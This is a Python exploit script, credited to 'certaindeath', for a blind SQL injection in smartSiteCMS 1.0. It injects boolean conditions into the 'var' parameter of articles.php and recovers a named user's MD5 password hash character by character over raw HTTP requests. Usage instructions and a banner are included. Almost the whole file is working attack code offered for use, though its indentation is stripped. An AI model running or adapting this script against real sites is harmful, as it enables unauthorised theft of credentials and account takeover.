#!/usr/bin/python
import sys
import re
from socket import *
class exploit:
def __init__(self,host,path,user):
self.host=host
self.path=path
self.user=user
self.reg=re.compile("<!-- END COMMENT FORM -->")
def set_query(self,n,ch):
self.query="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+self.user+"'),"+str(n)+",1)) = "+str(ord(ch))+" OR '1'='2"
self.query = self.query.replace(" ","%20")
self.query = self.query.replace("'","%27")
self.request="GET "+self.path+"/articles.php?var="+self.query+" HTTP/1.0\r\nHost: "+self.host+"\r\n\n"
def check(self):
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((self.host, 80))
sock.send(self.request)
r=""
t="-"
while(t!=""):
t=sock.recv(1024)
r+=t
match=self.reg.search(r)
if(r[match.start()+27:match.start()+59]!="<!-- END OF RELATED ARTICLES -->"):
return 1
else:
return 0
sock.close()
print "////*****************************************\\\\\\\\"
print "|||| smartSiteCMS 1.0 v1.0 ||||"
print "|||| Blind SQL injection ||||"
print "|||| ||||"
print "|||| ~Author: certaindeath ||||"
print "|||| ~Greetz: darkjoker ||||"
print "\\\\\\\\*****************************************////\n"
if(len(sys.argv) !=4 ):
print "Usage: python xpl.py <host> <cms path> <user>"
print "Example: python xpl.py localhost /cms admin"
sys.exit(0)
pwd=""
xpl = exploit(sys.argv[1],sys.argv[2],sys.argv[3])
n=1
while(n<=32):
t=0
xpl.set_query(n,str(t))
while (xpl.check()!=1):
t+=1
xpl.set_query(n,str(hex(t))[-1])
pwd+=str(hex(t))[-1]
n+=1
print "pass [md5]: ",pwd
